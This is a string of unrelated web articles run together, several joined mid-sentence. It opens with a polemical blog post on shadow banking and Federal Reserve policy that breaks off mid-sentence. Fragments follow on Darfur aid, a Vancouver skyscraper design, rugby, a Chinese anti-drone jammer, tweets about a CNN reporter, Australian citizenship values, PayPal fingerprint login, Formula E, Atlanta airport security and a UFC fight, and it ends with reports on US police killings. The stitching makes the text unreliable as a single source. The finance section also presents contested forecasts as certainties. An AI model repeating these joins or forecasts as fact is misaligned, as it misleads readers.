Shadow banking, as we have explained many times most recently here, is merely an unregulated, inflationary-buffer (as it has no matched deposits) which provides the conventional banking credit transformations such as maturity, credit and liquidity, in the process generating term liabilities. In yet other words, shadow banking creates credit money which can then flow into monetary conduits such as economic "growth" or capital markets, however without creating the threat of inflation - if anything shadow banks are the biggest systemic deflationary threat, as due to the relatively short-term nature of their duration exposure, they tend to lock up at the first sing of trouble (see Money Markets breaking the buck within hours of the Lehman failure) and lead to utter economic mayhem unless preempted. Well, preempting the collapse in the shadow banking system is precisely what the Fed's primary role has so far been, even more so than pushing the S&P to new all time highs. The problem, however, as we will show today, is that even with the Fed's balance sheet at $2.8 trillion and set to rise to $5 trillion in 2 years, it will not be enough.
Before we begin, we urge readers new to this topic to read some of the more pertinent posts we have written on the issue of shadow banking, as it is not a simple subject. Some of the more relevant ones:
For those who are somewhat familiar with the topic, but not quite, we believe a useful visualization of how traditional bank liabilities (defined simplistically and easily recreated using the Flow of Funds report using total liabilities at U.S.-Chartered Depository Institutions, L.110, plus total liabilities of Foreign Banking Offices in the US, L.111, plus Total Liabilities of Banks in US Affiliates Areas, L.112) which serve as the backbone of the entire US fractional reserve banking system, compare to US GDP is in order.
More than anything the chart above, which shows the amounts of traditional bank liabilities and GDP on the same Y axis, confirms one simple thing: economic "growth" is only and nothing more than an increase in systemic credit, aka money creation (just as Ray Dalio observed a few days ago). The problem with traditional bank liabilities is that for the most part they have corresponding money aggregates in the form of M2, which in turn is primarily fungible deposits, as an opportunity cost. And, as Germans living in the 1920s recall all too well, putting meaningless theory aside, deposits, when escaping the fractional reserve system and used to pursue hard assets, are the primary driver of such unpleasant monetary events as hyperinflation.
The nuisance that are "deposits" is also why the banking system is desperate to prevent bank runs, which are not so much a threat to systemic liquidity: any central bank can and will step in and guarantee all the banks' viability overnight if it has to, as it did at the peak of the financial crisis, but an asset allocation decision to shift out of an asset equivalency system built upon faith, and into a mode of hard asset ownership, based on lack of faith in the system (it also explains why the Fed hates when you use your cash to buy "worthless" and cash-flow free hard assets as gold, silver, copper, crude, etc). Of course, what happens with asset prices should $9 trillion in deposits suddenly exit bank vaults and seek to purchase "stuff" would make even the Hungarian hyperinflationary episode, in which prices doubled every several hours, seem like a walk in the park.
So how to fix this? How to ensure economic growth without the threat of inflation at any corner should a central planner make a false move leading to an uncontrollable bank run and deposit outflow? Simple: create a representation of money without the actual money, i.e., M2 equivalents, whether currency in circulation, or even electronic deposits.
Enter the shadow banking system, which is simply the traditional banking system however without the deposits and without the threat of monetary redemptions from the banking system (and the threat of a collapse of fractional reserve banking): it is quite simply, the essence of bank transformation funded by "faith", or a system in which credit money is created, but without an offsetting money equivalent unit. It is a system in which assets and liabilities are essentially the same concept, interwoven in a daisy chain of rehypothecated ownership claims, and in which every incremental layer of credit money creation serves to ultimately boost the nominal quantity of credit money in circulation.
What this does is it allows for near infinite credit-money expansion within a financial system, without a threat of inflation. It does, however, not prevent the threat of a deflationary collapse should faith in this same system be shaken, and counterparties demand to be made whole on their exposure, which incidentally peaked at $21 trillion in 2008.
But by far the biggest threat with shadow banking, which perceptive readers have already grasped is nothing but the greatest ponzi scheme ever conceived, is that it works brilliantly in an environment of increasing leverage, but should deleveraging commence, is an asset price black hole, as the entire Schrodinger Asset/Liability Function collapses in on itself upon the realization that there are no real asset at the end of a rehypothecation chain. In other words, the moment a liability is accelerated, due to maturity, request for deliverable or any other inverse "faith" transformations, the jig is up.
As the second chart below shows, one of the primary reasons for the surge in US capital markets beginning in 1980 is not so much the "great moderation", which was certainly a necessary but not sufficient condition for Dow 36,000, as much as that starting in roughly June of 1982, when shadow liabilities crossed the $1 trillion line for the first time and never looked back, the US shadow banking system became a more and more prevalent form of credit money creation, until it overtook traditional liabilities in 1995 in terms of total notional. While traditional liabilities have historically matched GDP dollar for dollar, when one throws shadow liabilities into the mix, one can see a distinctively different picture: the one below.
But where did all those extra trillions in credit money created via Shadow intermediation end up if not in the economic growth of the US? Why in its capital markets of course! This, ironically, makes sense from a symmetrical point of view. Recall that shadow liabilities, by their nature, are not inflationary as they do not have matched monetary aggregates: the US Stock market is also, at least according to the US government and the economic canon, is ot viewed as being part of any inflationary measurement, even though all it really is deferred purchasing power: for example, if everyone is long AAPL and if everyone manages to cash out at the very top, when the market cap of AAPL is $1 quadrillion (for illustrative purposes), all that cash would then exit the capital market and compete with other former AAPL shareholders for physical goods and services. It is in this sense that the S&P merely is a conduit to the latent inflationary build up that infinite credit money creation can lead to. Implicitly, and as a rational benchmark, this boils down to creating infinite purchasing power based on "faith" in a world of very finite goods and services. Not to get cute about it, but when an infinite purchasing power meets an immovable and very finite universe of goods and services, what one gets is hyperinflation. But that is irrelevant in the topic at hand: we will write more on that in a different post.
As noted above, it all worked great for nearly 30 years... and then Lehman brothers hit. What happened next can only be classified as an epic collapse in shadow banking as all the faith in the system had been extinguished and counterparties, unsure if anyone would be standing tomorrow, demanded an acceleration on their credit, liquidity and maturity transformed liabilities, irrespective of what state or what penalty such acceleration would entail. And this is where the Fed comes in.
The chart below shows the total amount of shadow liabilities broken up by constituent parts since the 1960s. What is obvious is the exponential surge in notional, hitting a peak of just shy of $21 trillion in Q1 of 2008, and then going straight down.
More important, however, is the sequential change in liabilities within this "shadow" system: having grown every quarter for decades until June 2008, things changed rapidly with the end of Lehman brothers, and much to the chagrin of the Fed, have not improved 4 years later. In fact, as the chart shows, the peak draw down in one quarter was a stunning $1.5 trillion in credit money deleveraging in one quarter! This is an amount that all else equal, would have caused an epic collapse in either US GDP or the stock market, as trillions in credit money were taken out of the system. Remember: credit money is fungible, and 'fractionally reserved.' All said, there has been over $6 trillion in deleveraging within shadow banking since the Lehman collapse.
Which brings us to the point of this post.
In Q2, as per the just released Flow of Funds report, the deleveraging continued. In fact, between money market funds, GSEs, Agency Mortgage Pools, Asset Backed Security Issuers, Funding Corporations, Repos, and Open Market Paper, also collectively known as "shadow banking liabilities", in the second quarter the US saw another $141 billion in deleveraging take place, following the $164 billion in Q1, or a total of over $300 billion year to date.
This took the total amount in shadow liabilities to $14.9 trillion for the first time since 2005. It also means that as of right now, the shadow banking system, which continues to deleverage, and the traditional banking system's liabilities, which continue to grow primarily due to reserve creation by the Fed during periods of unsterilized QE (such as right now courtesy of QEternity), and which amounted to a record $14.9 trillion as well, have reached parity.
This is a historic inversion point for three main reasons:
As the shadow banking system de levers, the Fed has no choice but to re lever traditional bank liabilities, via reserve injection to keep the system at least at equilibrium, if not leveraging at the consolidated level. In both Q1 and Q2 the Fed failed to generate the all critical credit releveraging, as first $110 billion in Q1, and then $58 billion in Q2 credit money exited the closed system via maturities without being rolled over, redemptions, conversion into hard assets, etc. Paradoxically, it is precisely due to its action, with which the Fed continues to remove faith in the US financial system as a standalone entity and one that can function effectively without a central bank backstop at every corner, that the ongoing deleveraging within the all critical shadow banking system - the one monetary conduit which as noted above is the closest thing to a inflation-free lunch due to the lack of immediate inflationary threats - continues. As noted above, so far in 2012 there has been $300 billion in deleveraging here alone. Completing the Catch 22 loop, the Fed, which is cornered, will continue to do what it does, reflating traditional liabilities, creating reserves, deposits, and currency, all of which have an exponentially greater inflationary propensity that the circular liabilities continued within shadow banking, and which eventually will breach the dam door of inflationary expectations leading to an epic surge in priced in and/or concurrent inflation.
Visually, this can be presented as follows:
The chart above shows what the consolidated deleveraging - combining shadow and traditional banks - since the Lehman collapse. All told there is still a $3.9 trillion hole that need to be plugged for the'market' to simply return back to its 2008 peak credit levels. But what is truly a slap in the face of the Fed, and what confirms that the more the Fed "acts" the more it shoots itself in the foot, is that the last time we did this analysis, the hole was "only" $3.6 trillion. In 6 short months, the Fed's relentless intervention in markets, managed to force the deleveraging of over quarter of a trillion in additional credit money!
It also explains why the Fed knew long ago, that it would have to engage in a relereving program that offset at least the continuing deleveraring in shadow aggregates: first $40 and then $85 billion a month sounds about right, and is an amount that will at best keep the system at its current state as opposed to actually growing it.
And while one does not have to be a rocket scientist to have grasped by now that all the Fed does is self-defeating, what the above analysis does do is provide a primer to all those Economy PhD's who still fail to grasp how the modern economy works, specifically why so far the inflationary surge has been deferred.
In short: the more the Fed actively relevers using conventional conduits that spur the threat of inflation, and the more that shadow conduits delever, the greater the risk that inflation will finally come to roost. Because that $3.9 trillion in incremental reserves (and recall that already both BofA and Goldman, following our example, determined that the Fed will need to do at least another $2 trillion in QE, which means much more in reality) that will be created to offset the ongoing shadow deleveraging will simply pump up various asset classes, until the hard asset spillover finally hits, and no matter how much SPR jawboning, no matter how many CME margin hikes, no matter how many Saudi rumors of increase crude production, prices of hard assets will finally explode.
We can at this point say that an inflationary surge is an absolute certainty if not |
of “genocide by attrition.” Despite the persistence of insecurity and localized episodes of great violence, international humanitarian aid has succeeded since 2005 in avoiding famine and lowering mortality and malnutrition rates to pre-war levels.
These gains are now threatened by the response of the Sudanese government to a politics of judicial punishment that still needs to demonstrate it can serve the interests of victims.ole scheeren reveals plans for a geometrically extruded skyscraper in vancouver
ole scheeren reveals plans for a geometrically extruded skyscraper in vancouver
image © büro ole scheeren
beijing-based architect ole scheeren has revealed plans for ‘1500 west georgia’ in vancouver, a scheme that will be his studio’s first project outside asia. the design opens up the tower’s inert shaft to embrace both city and nature in a three-dimensional sculpture, which projects the space of living outwards into the surrounding context. located on the canadian city’s main avenue, the tower, developed by bosa properties, stands as a new beacon at the gateway to vancouver and forms an urban pivot strategically positioned where the city grid fragments.
the design opens up the tower’s inert shaft to embrace its environment
image © büro ole scheeren
a system of vertically shifted apartment modules generates dynamic yet rational layouts for residential units, while the rotation of these elements projects individual living spaces outwards. introducing the concept of horizontal living within a slender high-rise, multiple terraces activate cantilevering bars creating both physical and emotional connectivity between indoor and outdoor environments.
located on the canadian city’s main avenue, the tower stands at the gateway to vancouver
image © büro ole scheeren
‘vancouver possesses a unique balance of urban conditions surrounded by spectacular nature that provides fertile ground for envisioning new possibilities for future living in a cosmopolitan and environmentally-friendly city’, commented ole scheeren. ‘the design for this building exemplifies our ambition to reconnect architecture with the natural and civic environment and go beyond the hermetic confines of towers that increasingly inscribe our lives.’
a system of vertically shifted apartment modules generates a dynamic yet rational layout
image © büro ole scheeren
the vertical offset of the apartment modules also serves to minimize the footprint of the tower, and liberates the ground plane to provide a public plaza for both residents and citizens. an amplified reinterpretation of the existing water cascade along west georgia builds on the strong architectural heritage of the site, while multiple paths ensure constant urban permeability. in order to engage the community, civic amenities are articulated around both the central plaza and the extensive waterscape.
‘1500 west georgia’ set against the city’s skyline
image © büro ole scheeren
sustainability strategies for passive and active energy savings are integrated within the architecture to target significant reductions in energy consumption and achieve a LEED platinum rating. for example, renewable energy sources at the top of the building generate 100% of the power for the public amenities at ground level.
formal development
image © büro ole scheeren
renewable energy sources at the top of the building generate power for the public amenities at ground level
image © büro ole scheeren
SaveThe shove resulted in players from both sides running in afterwards but referees decided it was only fair to award Argentina a penalty which saw them reduce the deficit to four points. Brouhaha: Nick Phipps started a melee when he pushed over an Argentinian medic who was approaching the ball. Credit:Warren Little On Sunday the SANZAAR citing commissioner issued a warning to Phipps, but stopped short of citing him for foul play. On one hand Phipps could count himself lucky not to be shown a yellow card, however there were other people who argued the medic should not have been on the field - a view shared somewhat by Wallabies coach Michael Cheika. "I'm not quite sure what went down to be honest. No one was injured," Cheika said. "Nick's probably trying to get the ball, I really don't know what was going through anyone's minds. The ref dealt with it on the field. It's probably a rare situation that you get, so he just dealt with it the best he could.
"It happens once in a blue moon." Cheika also referenced an incident during Australia's first Test of the year against England when Wallabies assistant coach Nathan Grey was pushed by Mike Brown. Brown attempted to catch a ball and at the same time Grey, while standing in his marked box, tried to disrupt the catch in order to make sure England would not be able to take a quick throw-in. "The English fullback had a crack at one of our staff because he put his arm out for the ball," Cheika said. "It happens, it's usually a miscommunication or heat of the moment."Drones flying around populated areas are becoming an increasing problem in major cities across the world.
Wuhan in China has come up with its own way of fixing the problem, by inventing an 'anti-drone' gun that can help police'shoot' unlicensed flying devices.
The gun uses radio waves to disrupt signals to the drones, forcing them to land.
Aiming: A police officer fires one of the guns at the drone during an exercise over the weekend
Clever device: An officer holds the 'anti-drone' device which interferes with radio signals
According to Chinese media, the guns cost around 250,000 yuan (£29,622) and has a range of around one kilometre.
An officer told reporters: 'Electromagnetic interference will only make the drone return to where they started and will not have any impact on the drone.'
It's thought that officers will have around 22 of the guns in operation.
They're expected to be used during next month's Wuhan marathon.
Expensive goods: According to Chinese media, the guns cost around 250,000 yuan each
Police are preparing to roll them out in time for the Wuhan Marathon next month
The devices were put into use for the first time over the weekend during a football match. Police say they managed to stop six of the devices.
In 2015, China introduced new rules to curb illegal flying of civilian drones.
A drone weighing less than 25 kilograms and flies at an altitude of less than 492 feet is exempt from an airworthiness certification but will need to register with the civil aviation authority.At 10:18 a.m. ET, 14 minutes into President Donald Trump’s address before the United Nations General Assembly, CNN politics reporter Chris Cillizza tweeted the following:
“Righteous many.” “Wicked few.” A MUCH more poetic speech than Trump usually gives. — Chris Cillizza (@CillizzaCNN) September 19, 2017
His take didn’t age well.
Two minutes after Cilliza’s tweet, Trump spoke about North Korea in terms no one would consider poetic.
“The United States has great strength and patience, but if it is forced to defend itself or its allies, we will have no choice but to totally destroy North Korea,” Trump said. He added, “Rocket Man is on a suicide mission for himself and for his regime.”
Twitter mocked Cillizza for calling the speech poetic. Here is a sampling of the criticism.
Trump: [shoots someone in head] Chris Cillizza: The restraint Trump showed in not burning them alive is so presidential. Strong leadership. — Charles Clymer🏳️🌈 (@cmclymer) September 19, 2017
FFS that was from *today*?! Trump is a poet just like Cillizza is a journalist — Sarah Kendzior (@sarahkendzior) September 19, 2017
If the goal here is to make everyone stop fearing nuclear annihilation but actually welcome it, then I say, “good job, Mr. Cillizza!” https://t.co/ckk9Pu6aYX — Jeet Heer (@HeerJeet) September 19, 2017
Peak Cillizza: talks about the poetry of the language, ignores that it sets up a direct confrontation with a nuclear regime. https://t.co/xkDNTOUO1m — Kelsey D. Atherton (@AthertonKD) September 19, 2017
BREAKING: Chris Cillizza has never read a poem. — Creepsville Citizen (@scaryfriar) September 19, 2017
You are the cheapest date in the biz. — Jeremy Wilcox (@jwilcox79) September 19, 2017
Have you lost your mind? He threatened to blow up North Korea. Maybe you think today’s the day Trump became presidential, too. — Anita Creamer (@AnitaCreamer) September 19, 2017
Cillizza’s always gonna Cillizza. — Rod Green (@thetheRedundant) September 19, 2017
All it takes is a few cliches huh — Eoin Higgins (@EoinHiggins_) September 19, 2017
Cillizza defended his Tweet — saying it was a real-time reaction to the speech prior to the North Korea rhetoric.
*trump “we have to kill the loser terrorists & ‘rocket man'”
Chris “SO poetic” — Marquis de Favras (@RickFly3) September 19, 2017
Nope. Look at when I tweeted this. Well before Rocket Man. — Chris Cillizza (@CillizzaCNN) September 19, 2017
Ah. My bad. You just overreacted to two adjectives early in a speech. When you put it like that it sounds way better. — Marquis de Favras (@RickFly3) September 19, 2017
I didn’t overreact. I was tweeting in real time. have a great day. — Chris Cillizza (@CillizzaCNN) September 19, 2017
OH MAN. You cherry picked one in a series of live tweets to dunk on me. Congrats! — Chris Cillizza (@CillizzaCNN) September 19, 2017
Incidentally, Cillizza was not without his backers. Chief among them, our own Larry O’Connor
The comments on this thread… Didn’t you get the memo, @CillizzaCNN? Thou shalt never say anything about Trump that isn’t negative… EVER! https://t.co/N6pRnsur3W — Larry O’Connor (@LarryOConnor) September 19, 2017
[image via screengrab]
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Follow Joe DePaolo (@joe_depaolo) on Twitter
Have a tip we should know? tips@mediaite.comTHERE was a telling pause in the Government’s Australian values drumbeat today when Prime Minister Malcolm Turnbull struggled to say what they were.
For close to a minute, punctuated by self-interruptions, Mr Turnbull essentially made clear this will be decided by public discussion.
The Prime Minister had called a press conference to outline plans for a citizenship test which he hoped would reinforce what it means to be an Australian.
Nailing down these elements became awkward when a reporter asked; “Could you give a summary of those things you believe all Australians should sign up to?”
Mr Turnbull replied: “What we will … the answer is yes but the discussion paper that (Immigration Minister Peter Dutton’s) department has released is going to engage public discussion on this.
“As indeed Phil Ruddock and Concetta Fierravanti-Wells did a little while ago and that’s been a valuable part of it too. I think we understand, you know... Australians...
“Australians have an enormous reservoir of good sense, and we know that our values of mutual respect, democracy, freedom, rule of law, those values, a fair go — these they are fundamental Australian values.
“They’re not shared in every part of the world. That’s true. But they’re shared by us. And we are entitled to say if you want to be a citizen of Australia, there are a few things that we want you to demonstrate that you share.
“Commitment to our values, allegiance to our country, competent English, being here for four years, integration, demonstrating that you have made that commitment, that this is not just an administrative process of achieving some, you know, particular qualification.
“This is not about administration. This is about allegiance and commitment to Australian values.”
The ramble underlined the difficulty of setting out a framework for identifying what is Australian and what is un-Australian, and the associated problem of asking people to follow a values’ set if you can’t explain it.
The Prime Minister made some common sense points. All who want to live here should aim to be in the workforce, and it is extremely difficult to do that if you don’t speak English.
Further, universal and accessible education is an Australian priority and all children should be sent to school.
However, these are not quite values.
The Prime Minister will face the charge he is catering to the right wing of the Coalition and One Nation voters by encouraging their concern about who lives here and the security of our borders.
The further charge will be he is engaged more in symbolism than concrete action.
But the reality is if he is responding to the concerns of a significant number of voters, he is doing his job.PayPal's Android application has had fingerprint support for a while, but it was limited to some Samsung Galaxy models (ie based on Samsung's Fingerprint SDK, which was released way before Marshmallow). The company has just updated the app with proper Fingerprint API compatibility, which includes all Nexus devices with Nexus Imprint as well as Samsung's Galaxy S7, S7 Edge, Note7, LG's G5, the OnePlus 3, ZTE Axon 7, and probably all devices with a fingerprint reader released after Marshmallow.
In version 6.5.1 of PayPal for Android, there's a new Fingerprint option under Login and Security that lets you use any fingerprint stored on your phone to log into your PayPal account, without having to input your username and password each and every time. Once you enable it, all you have to do is use your fingerprint to log into the app. The option is another alternative to pin logins, and a better one if you don't want to remember another number.
No screenshots allowed in PayPal, so here are photos from Artem. Bonus: green Android figurine.
In its announcement, PayPal mentions that it's using OneTouch to also let you make payments and checkout in other apps with just your fingerprint, no need to login or type billing information. That obviously only works with merchants that support it.
It seems that version 6.5.1 is on a slow rollout on the Play Store, so you may need to wait to get it there or simply grab the installation file from APK Mirror.The NextEV Formula E Team has today announced its driver line-up and revealed the new livery for its 2016/17 challenger, ahead of the first official pre-season test at Donington Park, UK, which begins later today.
NextEV confirmed that Nelson Piquet Jr and Oliver Turvey will remain with the team for the 2016/17 FIA Formula E Championship. The strong line-up - with both drivers extending their relationship with the team on a multi-season agreement - ensures that the NextEV Formula E Team has consistency in terms of drivers for the upcoming season. The development process for the new car has involved both Piquet Jr and Turvey, who have been a major part of the team’s private pre-season testing at Calafat in Spain.
Piquet Jr won the inaugural Formula E Drivers’ Championship in London in June 2015 for the NextEV Formula E team after scoring two race wins along the way, at Long Beach and Moscow, and podiums in Punta del Este, Buenos Aires and Monaco. It was at the season finale in the series’ maiden year that Turvey made his first appearance for the squad, impressing on his Formula E debut with two points finishes on the narrow Battersea Park street circuit. He subsequently joined Piquet Jr for a full season with the team for the 2015/16 season.
The NextEV Formula E Team’s new 2016/17 car has successfully completed 14 full days of private testing at the tight and twisty Calafat Circuit in Spain. Testing has focused on the development of the all-new NextEV 700R powertrain and set-up programmes for the season’s challenging street circuits, with the development car in the hands of Piquet Jr, Turvey and Ben Hanley.
Nelson Piquet Jr, said: “With NextEV fully committed to the Formula E programme, I believe that the team has a very strong long-term future. I am happy to be continuing to race with the team that I won the championship with, and we are looking forward to being able to fight for victories again next season. We have come off the back of a challenging season, but that meant we learnt a lot and we are stronger for it. I’m very happy to be racing alongside Oliver again. He’s a fantastic team-mate and we’re working hard to achieve a strong team performance this season.”
Oliver Turvey, said: “I am delighted to be able to continue racing for the NextEV Formula E Team. They gave me my first opportunity in the series so I am excited to continue the journey together with the team. I would like to thank Martin Leach and the whole team for putting their faith and support in me to be part of the NextEV future. I learnt a lot in my first full season and have taken this experience into the summer testing to work with the team on developing the new car. The team and I have similarly high ambitions for the season ahead and we will work hard together to achieve them. I know how much effort everyone at NextEV has put in so I can’t wait to start racing!”
Martin Leach, President, NextEV and Team Principal, NextEV Formula E Team, said: “After the many months of hard work that everyone at the team has put in, we are delighted to reveal our NextEV Formula E Team 2016/17 challenger. We are pleased with the progress made during private testing and are looking forward to continuing our extensive testing programme at this week’s test. Our new powertrain, increased regeneration levels and technical upgrades have us set for an exciting season ahead. Our team has further been strengthened with the appointment of new members, as we move into the next phase of NextEV’s involvement with Formula E. We are also happy to retain both Nelson and Oliver as we prepare to challenge for the 2016/17 championship. We believe we have the strongest driver pairing in the series and, with both drivers having contributed to the development of the new car, we are confident that we will be at the sharp end of the grid once again.”
Adding further strength to the outfit, the NextEV Formula E team has appointed a number of new members this season. Gerry Hughes remains Chief Race Engineer and is joined by Paul Fickers as Chief Technical Officer (who was previously Head of Vehicle Testing at Fiat Group Automobiles and has held senior positions at Ferrari and Maserati), and Barry Mortimer as Team Manager (who joins from Team Aguri).During peak travel times, the domestic terminal at Hartsfield-Jackson International Airport is crowded with thousands of travelers packing into long security lines with wait times up to an hour long.
Meanwhile, the international terminal on the other side of the airport remains a sparkling oasis with wide open space and few crowds.
What's more, security wait times at the international terminal are often less than 15 minutes long, even when people at the domestic terminal are stuck in hour-long lines.
But airport and Transportation Security Administration officials recommend against using the international terminal for domestic flights just to skip lines.
"We're not advising [travelers in the domestic terminal] to go to the international terminal," said Hartsfield-Jackson spokesman Reese McCranie. "We're advising them to stay in line. It will move quickly."
The reason: TSA plans its staffing based on the number of travelers expected through the different checkpoints each hour.
For the international terminal, that's based on the number of international flights. If large volumes of domestic passengers were to unexpectedly head to the international terminal, that could lead to problems for those travelers, according to the airport.
"That's not something we would encourage," McCranie said. "Your line may actually be longer at international."
And lines still form at the international terminal security checkpoint during peak times for international travel, such as in the afternoons when large aircraft departing on overseas red-eye flights can draw hundreds of passengers to the terminal.
"There's only a certain amount of lanes there" at the international terminal, said TSA spokesman Mark Howell. The international terminal's main checkpoint has less than a third of the number of security lanes at the domestic terminal.
"If we start to send folks [to international] that we have projected to fly domestically," Howell said, "it just adds to what we have projected over there."
Still, using the less-crowded international terminal for domestic flights has been a not-so-hidden secret of frequent travelers since the new terminal opened in 2012.
But there are some logistical issues that could cause headaches for travelers who are unfamiliar with how the airport is structured and designed, and for those who are unschooled in the quirks of airline check-in counters and baggage handling.
Among the logistical issues of using the wrong terminal are getting boarding passes, checking and reclaiming bags, and parking.
For one, not every airline has check-in counters at both terminals. Those airlines that do not operate international flights from Atlanta, such as American, United, Frontier and Spirit, do not have check-in counters at the international terminal. Passengers flying domestically who run into this issue would not be able to check bags, or get a boarding pass if they do not already have one.
For passengers who do check bags, if they drive to the international terminal for a domestic flight, they may still run into an issue when they return from their domestic trips and claim their bags at the domestic terminal, then have to catch a shuttle with their baggage to get back to their car at the international terminal.
And, the hourly and park-ride parking garages at the international terminal also do not have the capacity to handle the volumes that the domestic terminal has, according to Hartsfield-Jackson. The international terminal parking garages also do not have daily parking within walking distance -- only hourly parking.
The international terminal also has less-convenient connectivity to some off-airport parking lots and to MARTA.
Could the international terminal someday act as a general second entrance to the world's busiest airport, and become a solution in the future to congestion at the domestic terminal? Airport officials are not keen on the idea of transforming the role of the international terminal into an all-purpose check-in point.
"It is far less efficient to split your workforce," McCranie said. "You wouldn't be able to process a high volume of passengers in a quick and efficient way."This fight is a classic matchup of the top-shelf, fully proven veteran of the sport against the rising up-and-comer looking to prove his time is now. Frankie Edgar is the former UFC lightweight champion and is one of the most accomplished lighter-weight fighters in the history of the sport. Now 35, Edgar doesn't show signs of slowing down and has won six of his last seven fights against high-level competition. Yair Rodriguez is an exciting 24-year-old Mexican star who is undefeated in the Octagon, accumulating performance bonuses left and right. He is coming off a win over the biggest-name opponent of his career in B.J. Penn. Now he will have a chance to defeat another name opponent and one at the top of his game.
Round 1. Rodriguez is throwing a lot of kicks early while Edgar looks to close distance with short-range punches. Edgar backs Rodriguez up by the cage and looks for a takedown. Edgar takes Rodriguez to the canvas and avoids a guillotine choke attempt in the process. Edgar immediately goes to work with punches. Edgar continues to be very active as the round progresses with his punches. Edgar adds in elbows as well and really begins to open up with punches. Rodriguez is bleeding and is taking a ton of punishment. 10-8 Edgar.
Round 2. Rodriguez's eye is a mess. Edgar lands a few hard punches and then slams Rodriguez down. Rodriguez looks for a knee bar on the ground. Rodriguez looks close, but Edgar forces him to give it up with punches and elbows. Edgar secures full mount in the process and lands some punches there. Rodriguez rolls over to get out. Edgar ends up back in Rodriguez's guard, and once he's in a comfortable position Edgar goes right back to work with punches just like in the first. 10-9 Edgar.Notes on police violence in America
Judge dismisses manslaughter charges against Texas officer citing position as a federal agent
By Evan Blake
2 November 2015
Last Thursday, Judge Lee Yeakel of the US District Court for the Western District of Texas dismissed a manslaughter charge against Charles Kleinert, 51, four days before the former Austin police officer was set to stand trial for the 2013 shooting death of 32-year-old Larry Jackson Jr.
Citing a little-known 1889 Supreme Court case that extended the Supremacy Clause of the US Constitution to federal agents, Yeakel claimed that Kleinert was protected from state prosecution for the murder of Jackson due to the fact that he serves on an FBI task force. The blatantly rigged dismissal demonstrates the lengths to which the state will go to shield killer cops from prosecution.
Larry Jackson, Jr.
Yeakel’s decision marks the end of one of a handful of prosecutions against police officers for the thousands of police killings that have taken place in recent years. A Washington Post analysis earlier this year found that from 2005-2014, a mere 54 officers were charged in connection with an on-duty shooting. Of these, only 11 have been convicted, while Kleinert joins the vast majority that now walk free.
Jackson was killed by Kleinert on July 26, 2013. Jackson had visited his local bank, which was on lockdown after a robbery attempt, and was told to come back later. When he returned later in the day, Jackson was confronted by Kleinert, who was investigating the robbery in his capacity as an Austin police detective. Prior to Jackson’s arrival, Kleinert had told people that he was operating as an Austin police officer.
Kleinert alleges that after a few minutes of questioning, Jackson fled the scene, prompting Kleinert to give chase. Kleinert immediately commandeered the vehicle of Regina Bethune, who was driving nearby.
Last February, Bethune told local news channel KVUE, “(Kleinert) was breathless and agitated and yelled, ‘Go, go, go,’ and ‘follow him’ multiple times. He seemed very out of control and highly agitated. I was uncertain if he was really a police officer or not. I realize that either way I needed to remain calm and help him try to calm down. He did not identify himself any further once in the car. He did not tell me his name or offer any explanation as to what was going on.”
Kleinert soon confronted Jackson underneath a bridge and drew his pistol, striking Jackson multiple times while holding his gun. In trial testimony, Kleinert made the absurd claim that the weapon accidentally discharged while he was striking Jackson, firing a single bullet into the back of Jackson’s neck.
Adam Loewy, an attorney for Jackson’s family, asserts that the shooting was intentional. He told the Washington Post, “(Kleinert) never claims that Larry attacked him. The forensic evidence shows that Larry was on his hands and knees and the gun was at the back of his neck. Execution style.”
The city of Austin clearly recognized the guilt of its officer, awarding the Jackson family a $1.25 million settlement last year. Judge Yeakel, however, sided with Kleinert’s legal team, which argued that the shooting was accidental and that he was entitled to “Supremacy Clause immunity” because he was acting in his federal capacity while investigating the bank robbery.
“The court concludes that from the time Kleinert began his conversations with Jackson until the time Jackson died, Kleinert was acting in his capacity as a federal officer,” Yeakel wrote.
Travis County District Attorney Rosemary Lehmberg is considering appealing the ruling. In a statement released Thursday, she declared, “With this federal court action dismissing the case, it appears that an Austin Police Department officer can be assigned to a federal task force and avoid prosecution in state court.”
Autopsy reveals Almonderez Green died from single gunshot under chin
At a press conference Saturday, St. Louis County police spokesman Brian Schellman revealed that the county medical examiner has found that Almonderez Green, 18, died from a single gunshot wound under his chin. Ballistic evidence confirms that the round was fired from a.38-caliber revolver. Green’s family and multiple witnesses have asserted that police killed the youth, while officials claim that he shot himself with his own gun.
The shooting took place in Normandy, a small suburb of St. Louis just south of Ferguson, the site of repeated protests against police violence over the past year following the police murder of unarmed youth Michael Brown. Normandy police claim that Green’s family requested their assistance as the distraught and suicidal teen walked four miles through the Ferguson area, while his family monitored him in two cars.
When police arrived, they immediately escalated the situation, drawing their weapons and trying to stun Green with a Taser at least once. They have acknowledged that one officer fired a shot at Green, which did not hit him, prompting Green to fire once, allegedly striking a nearby house.
Multiple witnesses assert that police soon shot Green, while no witness has yet to come forward to support the official narrative that Green killed himself. In one cell phone video taken by Dominique Clemons, a voice can be heard shouting, “Don’t shoot my baby” as a single gunshot goes off, followed immediately by a man, presumably Green, pleading, “Don’t kill me, oh God.”
Clemons told the Huffington Post, “While he was running, he turned around to face the police and that’s when he got shot in the face. I saw his body drop. They shot him in the face, his whole right side of his face was gone, his top lip was gone.”
Jermell Simpson, Green’s father, declared in a video posted to Instagram, “When he started running, Ferguson [police] started shooting.” Simpson later described the official narrative as a “total lie” to the St. Louis Post-Dispatch.
An anonymous witness told the Huffington Post, “I seen two police officers in dark uniforms chasing the young man. … He stopped right there near a brown pole … he grabbed on it and as he was ready to turn around, the police officer were not even six, seven feet away, and stood over him and shot him dead in his face. The police did not shoot down at him, [the officer] was right at eye level as he shot him twice. The boy fell, he fell back. It was not a suicide. At all.”
Shortly after the shooting, Green was taken to the hospital in critical condition. He was later pronounced dead at 4:29 a.m. on Thursday.
Officer fired in connection with police killing of 26-year-old Ricky Ball
The City Council of Columbus, Mississippi voted Friday to fire Columbus Police Department (CPD) officer Canyon Boykin and suspend officers Johnny Branch and Yolanda Young, the three officers involved in the October 16 shooting death of 26-year-old Ricky Ball.
Ricky Ball
Boykin, Branch and Young initiated a traffic stop on a car in which Ball was a passenger, allegedly due to careless driving and a missing light above the license place. Ball reportedly fled the scene on foot, and was quickly shot twice, once each in the upper and lower body. He died later that night from blood loss at Baptist Memorial Hospital-Golden Triangle.
After the shooting, officials have claimed that a 9mm handgun, which had been reported stolen from a CPD officer’s home in August, was found near Ball, along with narcotics. The Mississippi Bureau of Investigation is conducting forensic examinations to determine whether the items were ever in Ball’s possession. In an effort to conceal crucial facts of the case from the public, authorities have not revealed which officers shot at Ball or whether he in any way threatened them before they opened fire.
